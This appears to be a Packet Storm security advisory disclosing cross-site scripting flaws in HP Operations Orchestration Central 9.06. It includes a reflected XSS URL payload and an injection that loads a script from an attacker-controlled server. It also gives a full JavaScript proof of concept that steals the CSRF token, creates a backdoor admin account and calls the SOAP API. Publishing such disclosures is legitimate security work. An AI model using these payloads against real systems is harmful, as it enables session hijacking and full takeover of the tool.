what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HP Operations Orchestration Central 9.06 Cross Site Scripting

HP Operations Orchestration Central 9.06 Cross Site Scripting
Posted Dec 20, 2013
Authored by Bart Leppens

HP Operations Orchestration Central version 9.06 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2013-6191, CVE-2013-6192
SHA-256 | 1cce985e37ff678546bdbfc58d9240c9e77f144952a275bef85b1bd85a23cb13

HP Operations Orchestration Central 9.06 Cross Site Scripting

Change Mirror Download
Name: XSS in HP Operations Orchestration Central version 9.06

Systems Affected: HP Operations Orchestration version 9.06

Severity: High

Vendor: Hewlett-Packard

References: CVE-2013-6191, CVE-2013-6192, SSRT101342

Author: Bart Leppens

Date: 20130919


I. BACKGROUND

HP Operations Orchestration (HP OO) is a solution for automating IT tasks.
HP Operations Orchestration Central is used to administrate this tool. The
HP Operations Orchestration tool also has a webservice (SOAP-based) that
allows you to have complete controle over HP OO.


II. DESCRIPTION

The HP Operations Orchestration Central application is vulnerable to XSS.
Not only can we steal an administrators session cookie. We can use this
XSS to extract the CSRF-token as well and this way we are able to remotely
create supplementary (administrator) user accounts. Once this account is
created it can be used (once again from the exterior) to send and recieve
messages from the SOAP webservice.

All these examples have been tested with FF 24.0.


III. It all starts with a XSS


https://x.x.x.x:8443/PAS/app%3F%3Cimg%20src=x%20onerror=alert%28document.cookie%29;%20/


It is clear that in this way you can easily steal session cookies,
especially since the HTTPOnly-flag is not set for the session cookie. The
attack can be very simple like tricking an administrator to visit a webpage
that contains a hidden iFrame. The session can be hijacked and the
attacker can administer the complete tool.


The XSS vulnerability can also be exploited from the exterior. An attacker
can for example add a backdoor admin user, or manage flows. E.g. to add a
supplementary user an attacker needs to extract the CSRF-token and and call
the page to create a supplementary user account with preferably
administrator rights. Since the attacker has control over the chosen
password of his newly created user, these credentials can be used to call
methods from the SOAP Webservice. This gives the attacker complete remote
control from the exteriour over the orchestration tool.


Since for the PoC a bunch of javascript needs to be executed, we assume
that the javascript file is hosted on a remote server and is appended to
the DOM via XSS:

https://x.x.x.x:8443/PAS/app%3F
<img%20src=x%20onerror="var%20script=document.createElement('script');script.type='text/javascript';script.src='
https://y.y.y.y:9887/hook.js';document.body.appendChild(script);"%20/


In this example x.x.x.x is the ip address of the HP OO Central application
en y.y.y.y is the ip address of a server controled by the attacker.


Consider the javascript code in the next paragraph as a complete PoC. It
extracts the CSRF-token, adds a new admin user and makes a SOAP call which
relies on the newly created user.


IV. PoC



var HPOO = "10.11.12.13:8443";

var csrfToken = "";

var userName = "newadmin";

var password = "adminadmin123";


function getCSRFToken()

{

var wsUrl = "https://
"+HPOO+"/PAS/app?service=partial/0/UsersAdmin/UsersAdmin/addUserLink/EditUserDialogPart/DialogsStatePart";

var xmlhttp = new XMLHttpRequest();

xmlhttp.open("GET", wsUrl, true);

xmlhttp.withCredentials = "true";

xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState==4)

{

if (xmlhttp.status==200 || xmlhttp.status==0)

{

var rx = /hiddenUserList" value="([^"]*)/g;

csrf = rx.exec(xmlhttp.responseText);

csrfToken = csrf[1];

createUser();

}

}

}


xmlhttp.send();

}


function createUser()

{

var wsUrl = "https://"+HPOO+"/PAS/app";

var xmlhttp = new XMLHttpRequest();

var postData =
"service=direct%2F1%2FUsersAdmin%2FEditUser.userForm&sp=S2&Form2=inputUserName%2CaccountInternal%2CchangePassword%2ChasPass%2CinputUserPass%2CinputVerifyPass%2CaccountEnabled%2CeditedUser%2ChiddenUserList%2CgroupSelector%2Cdefault%2Cnew%2Cedit&editedUser=X&hiddenUserList="+csrfToken+"&inputUserName="+userName+"&accountInternal=on&hasPass=on&inputUserPass="+password+"&inputVerifyPass="+password+"&accountEnabled=on&groupSelector=0&new=Create+User";

xmlhttp.open("POST", wsUrl, true);

xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");

xmlhttp.withCredentials = "true";

xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState==4)

{

if (xmlhttp.status==200 || xmlhttp.status==0)

{

var rx = /hiddenUserList" value="([^"]*)/g;

csrf = rx.exec(xmlhttp.responseText);

csrfToken = csrf[1];

sendSoapReq();

}

}

}


xmlhttp.send(postData);

}


function sendSoapReq()

{


var wsUrl = "https://"+HPOO+"/PAS/services/WSAutomationFocusAPI";

var soapRequest ='<soapenv:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="
http://www.w3.org/2001/XMLSchema" xmlns:soapenv="
http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsc="
http://wscentralservice.services.dharma.iconclude.com"><soapenv:Header/><soapenv:Body><wsc:list
soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><basePath
xsi:type="soapenc:string" xmlns:soapenc="
http://schemas.xmlsoap.org/soap/encoding/
">Library</basePath></wsc:list></soapenv:Body></soapenv:Envelope>';

var xmlhttp = new XMLHttpRequest();


xmlhttp.open("POST", wsUrl, true);

xmlhttp.setRequestHeader("Content-type","text/xml");

xmlhttp.setRequestHeader("Access-Control-Allow-Origin","*");

xmlhttp.setRequestHeader("SOAPAction","https://
"+HPOO+"/PAS/services/WSAutomationFocusAPI");

xmlhttp.setRequestHeader("Authorization","Basic
"+btoa(userName+":"+password));

xmlhttp.withCredentials = "true";

xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState==4)

{

if (xmlhttp.status==200 || xmlhttp.status==0)

{

alert(xmlhttp.responseText);

}

}

}


xmlhttp.send(soapRequest);

}


getCSRFToken();
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close